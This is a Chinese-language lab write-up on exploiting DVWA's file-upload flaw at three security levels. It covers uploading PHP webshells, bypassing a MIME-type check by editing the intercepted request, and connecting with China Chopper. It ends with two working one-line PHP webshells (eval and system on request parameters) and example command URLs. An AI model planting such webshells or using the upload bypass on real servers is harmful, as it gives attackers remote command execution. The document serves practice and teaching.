实验环境:OWASP_Broken_Web_Apps虚拟机--dvwa
实验原理:文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell.(文末将会演示利用一句话木马和菜刀拿shell)
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
实验过程:---Dvwa(low)
先看后端源码并分析
分析后,发现对上传文件类型,大小.后缀名并无要求,可上传任意文件等等.....
upload
检查是否上传成功,输入路径
成功上传,这里才反应过来就算没有这个漏洞也可以上传jpg文件啊,直接上传个马子用菜刀连连看
shell.php为
直接upload!!!!
成功了,因为是靶场,所以上传路径也显示出来了,我们用菜刀连连看
添加!!!
轻而易举就链接上了,可以对此网站进行一些恶心人的操作,但是现在大部分的上传防护等级都高,所以low级别的就当练练手,熟悉一下原理等等,下来看看初级的。
Dvwa(medium)
还是先看源码并分析
可以很明显的看出,medium的开始要求上传文件的大小还有类型,类型必须是image或者jpeg,大小必须小于10000。
上传个shell.php看看回显是什么
显示的上传失败,看来不对了,试试抓包,给shell.php文件类型改成imag/jpeg看看行不行
注意-image/jpeg为文件mime类型,不是后缀!!
改成image/jpeg,放包!!!
成功了,用菜刀也能连上,medium主要限制了上传文件的mime类型,此处为mime的详解https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
看看高级
Dvwa(high)
还是老样子,先看源码并分析
发现high对文件上传的后缀名有要求
文件后缀改成jpg/JPG/jpeg/JPEG,后缀的话也可以在.php后面添加.jpg
上传成功!!试试看能不能用菜刀连接上
不过通过在.php后面加.jpg的法子,菜刀连不上
试试直接改后缀的
也连不上,所以,high还是挺安全的。
Webshell
一句话木马
REQUEST是在网页端输入变量访问,POST则是使用类似中国菜刀等工具链接,是C/S架构
shell2.php #eval使用php函数,例如phpinfo(); <?php eval($_REQUEST['cmd'])?> 上传成功后,无法直接访问,可在后面加上变量参数 http://192.168.182.129/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3.php #system使用Linux系统命令,如ls cp echo等等 <?php system($_REQUEST['xxy'])?> 此木马同样无法直接访问,使用需要加上变量参数 http://192.168.182.129/dvwa/hackable/uploads/shell3.php?xxy=ls /home
今天的学习就到这里吧,吧笔记和大家分享一下,文中如有错误指出希望大家指正。
不要在学习的路途中止步!!!